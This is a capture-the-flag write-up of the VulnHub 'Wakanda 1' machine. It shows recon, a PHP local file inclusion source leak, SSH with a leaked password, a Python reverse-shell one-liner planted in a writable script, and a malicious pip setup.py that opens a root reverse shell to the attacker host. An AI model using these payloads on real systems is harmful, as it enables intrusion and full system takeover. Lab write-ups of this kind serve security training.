Wakanda One – Writeup

Details

This machine is https://www.vulnhub.com/entry/wakanda-1,251/

Recon Phase

First I had to locate the machine within the target network

root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00070s latency).
MAC Address: 0A:00:27:00:00:19 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00027s latency).
MAC Address: 08:00:27:A2:67:03 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.0029s latency).
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.30 seconds

Knowing it was on 192.168.56.101 I scanned it for services

root@kali:~# nmap -sV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
111/tcp  open  rpcbind 2-4 (RPC #100000)
3333/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.88 seconds

Shell Hunting

I started by viewing the contents of the webserver at

Screenshot 1

Which within the source contained a link to add a param to the url but it was commented out

Screenshot 2

This looked like a potential LFI vuln and to test I went to ?lang=fr

Screenshot 3

From here I setup dirbuster

Screenshot 4

Screenshot 5

I went through and checked out the files it found, but they were all blank. This left me with just the potential LFI, which had some info about it, the file called fr.php, this indicated as the param was “fr” it appended “.php” to the end, the only other php file I knew of was index, so I went to ?lang=index but it led to a 500 server error

After a bit of googling I found a way of using php filters to extract the source code from the file at https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/ which led to me trying

http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index

Screenshot 6

This led to a base64 version of the source to be included

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=
Vibranium Market
Home
Coming soon
Made by@mamadou

I decoded the base64< ?php $password =”Niamey4Ever227!!!” ;//I have to remember it if (isset($_GET[‘lang’])) { include($_GET[‘lang’].”.php”); } ?>

<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">
    <title>Vibranium Market</title>
    <link href="bootstrap.css" rel="stylesheet">
    <link href="cover.css" rel="stylesheet">
  </head>
  <body class="text-center">
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>
      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          <?php
            if (isset($_GET['lang']))
          {
          echo $message;
          }
          else
          {
            ?>
            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
            <?php
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>
      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>
</body></html>

Within this was the password “Niamey4Ever227!!!” and in the source it said it was made by @mamadou so I considered the username “mamadou”

root@kali:~# ssh [email protected] -p 3333

Using “Niamey4Ever227!!!” as the password

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

This spawned a shell, but it seemed to be running python in interactive mode

Priv Esc

I first tried “Ctrl-C” to get out

KeyboardInterrupt
>>>

That didn’t work, so I tried to spawn a shell with python

>>> import pty;pty.spawn('/bin/bash')
mamadou@Wakanda1:~$

I now had a proper shell and began to look around

mamadou@Wakanda1:~$ ls -la
drwxr-xr-x 2 mamadou mamadou 4096 Aug  5 02:24 .
drwxr-xr-x 4 root    root    4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root    root       9 Aug  5 02:24 .bash_history -> /dev/null
-rw-r--r-- 1 mamadou mamadou  220 Aug  1 13:15 .bash_logout
-rw-r--r-- 1 mamadou mamadou 3515 Aug  1 13:15 .bashrc
-rw-r--r-- 1 mamadou mamadou   41 Aug  1 15:52 flag1.txt
-rw-r--r-- 1 mamadou mamadou  675 Aug  1 13:15 .profile

This revealed the first flag so I grabbed it

mamadou@Wakanda1:~$ cat flag1.txt
Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

I then go to check what sudo privs I have

mamadou@Wakanda1:~$ sudo -l
[sudo] password for mamadou:

Again using “Niamey4Ever227!!!” as the password

Sorry, user mamadou may not run sudo on Wakanda1.

From here I went to look for potential users to take over

mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

I took a look at their home

mamadou@Wakanda1:~$ cd ..
mamadou@Wakanda1:/home$ ls -la
drwxr-xr-x  4 root    root      4096 Aug  1 15:23 .
drwxr-xr-x 22 root    root      4096 Aug  1 13:05 ..
drwxr-xr-x  2 devops  developer 4096 Aug  5 02:25 devops
drwxr-xr-x  2 mamadou mamadou   4096 Aug  5 02:24 mamadou
mamadou@Wakanda1:/home$ cd devops
mamadou@Wakanda1:/home/devops$ ls -la
drwxr-xr-x 2 devops developer 4096 Aug  5 02:25 .
drwxr-xr-x 4 root   root      4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root   root         9 Aug  5 02:25 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1 15:23 .bash_logout
-rw-r--r-- 1 devops developer 3515 Aug  1 15:23 .bashrc
-rw-r----- 1 devops developer   42 Aug  1 15:57 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1 15:23 .profile

I could now see the second flag but I had to be in the developer group or be the devops user to read it

mamadou@Wakanda1:/home/devops$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)

As I wasn’t in the group I decided to check the web dir for anything I missed earlier

mamadou@Wakanda1:/home/devops$ cd /var/www/html/
mamadou@Wakanda1:/var/www/html$ ls -la
drwxr-xr-x 2 root root    4096 Aug  1 16:51 .
drwxr-xr-x 3 root root    4096 Aug  1 13:29 ..
-rw-r--r-- 1 root root       0 Aug  1 16:50 admin
-rw-r--r-- 1 root root       0 Aug  1 16:50 backup
-rw-r--r-- 1 root root 4510077 Aug  1 14:26 bg.jpg
-rw-r--r-- 1 root root  140936 Aug  1 14:07 bootstrap.css
-rw-r--r-- 1 root root    1464 Aug  1 14:29 cover.css
-rw-r--r-- 1 root root     141 Aug  1 16:45 fr.php
-rw-r--r-- 1 root root       0 Aug  1 16:50 hahaha
-rw-r--r-- 1 root root       0 Aug  1 16:51 hohoho
-rw-r--r-- 1 root root    1811 Aug  1 16:44 index.php
-rw-r--r-- 1 root root       0 Aug  1 16:50 secret
-rw-r--r-- 1 root root      40 Aug  1 16:51 secret.txt
-rw-r--r-- 1 root root       0 Aug  1 16:50 shell
-rw-r--r-- 1 root root       0 Aug  1 16:50 troll

There was a file called secret.txt I hadn’t seen before

mamadou@Wakanda1:/var/www/html$ cat secret.txt
Congratulations!
Nope!I am joking....

It was a trick, so I began to look for other files the developer group had access too

mamadou@Wakanda1:/var/www/html$ find / -group developer
/srv/.antivirus.py
find: `/root': Permission denied
/usr/bin/pip
find: `/sys/kernel/debug': Permission denied
find: `/lost+found': Permission denied
/tmp/test
find: `/var/lib/sudo/lectured': Permission denied
[SNIP]

I want to checkout those files

mamadou@Wakanda1:/var/www/html$ cat /srv/.antivirus.py
open('/tmp/test','w').write('test')
mamadou@Wakanda1:/var/www/html$ cat /tmp/test
test

Next I went to check if I could change the contents of the antivirus script

mamadou@Wakanda1:/var/www/html$ cd /srv
mamadou@Wakanda1:/srv$ ls -la
drwxr-xr-x  2 root   root      4096 Aug  1 17:52 .
drwxr-xr-x 22 root   root      4096 Aug  1 13:05 ..
-rw-r--rw-  1 devops developer   36 Aug  1 20:08 .antivirus.py

It was writable to me so I wanted to make it open a reverse shell, as if it is an anti virus script it may get executed on a timer. First I needed a listener to receive any reverse shell I could creates

root@kali:~# nc -nlvp 4444

I then updated the antivirus to open the shell

mamadou@Wakanda1:/srv$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > .antivirus.py

And then I waited, looking at my listener

connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 49407
/bin/sh: 0: can't access tty; job control turned off
$

First I poked around with the new shell

$ whoami
devops
$ python -c "import pty;pty.spawn('/bin/bash')"
devops@Wakanda1:/$

I could now grab flag two

devops@Wakanda1:/$ cd ~
devops@Wakanda1:~$ ls -la
drwxr-xr-x 2 devops developer 4096 Aug  5 02:25 .
drwxr-xr-x 4 root   root      4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root   root         9 Aug  5 02:25 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1 15:23 .bash_logout
-rw-r--r-- 1 devops developer 3515 Aug  1 15:23 .bashrc
-rw-r----- 1 devops developer   42 Aug  1 15:57 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1 15:23 .profile
devops@Wakanda1:~$ cat flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

My next goal was to get root so I checked what sudo privs I had

devops@Wakanda1:~$ sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

As I can run pip as root, I could a fake pip module to spawn a shell https://github.com/0x00-0x00/FakePip/blob/master/setup.py although I made some tweaks to its code, namely updating the “lport” variable as well as the RHOST constant

from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.56.102'  # change this
    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 2222; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='[email protected]',
      license='MIT',
      zip_safe=False,
cmdclass={'install': CustomInstall})

I saved this as setup.py in my kalis /var/www/html and started the apache2 server

root@kali:~# apache2ctl start

Then transfered it to the target

devops@Wakanda1:~$ cd /tmp
devops@Wakanda1:/tmp$ wget 192.168.56.102/setup.py
--2018-08-24 14:29:01--  http://192.168.56.102/setup.py
Connecting to 192.168.56.102:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 984 [text/x-python]
Saving to: ‘setup.py’
setup.py            100%[=====================>]     984  --.-KB/s   in 0s
2018-08-24 14:29:01 (232 MB/s) - ‘setup.py’ saved [984/984]

And opened another listener to receive this shell

root@kali:~# nc -nlvp 2222

Here I then triggered the shell to be activated

devops@Wakanda1:/tmp$ sudo -u root pip install .
Unpacking /tmp
  Running setup.py (path:/tmp/pip-E_7KHI-build/setup.py) egg_info for package from file:///tmp
Installing collected packages: FakePip
  Running setup.py install for FakePip

And on my listener

connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 42097
root@Wakanda1:/tmp/pip-E_7KHI-build#

I now had root and just had to get the last flag

root@Wakanda1:/tmp/pip-E_7KHI-build# cd /root
root@Wakanda1:~# ls -la
drwx------  3 root root 4096 Aug 24 14:30 .
drwxr-xr-x 22 root root 4096 Aug  1 13:05 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  2 root root 4096 Aug 24 14:30 .pip
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r-----  1 root root  429 Aug  1 15:16 root.txt
root@Wakanda1:~# cat root.txt
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\
Congratulations You are Root!
821ae63dbe0c573eff8b69d451fb21bc

A pretty fun machine with a different kind of priv esc. I enjoyed this one!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.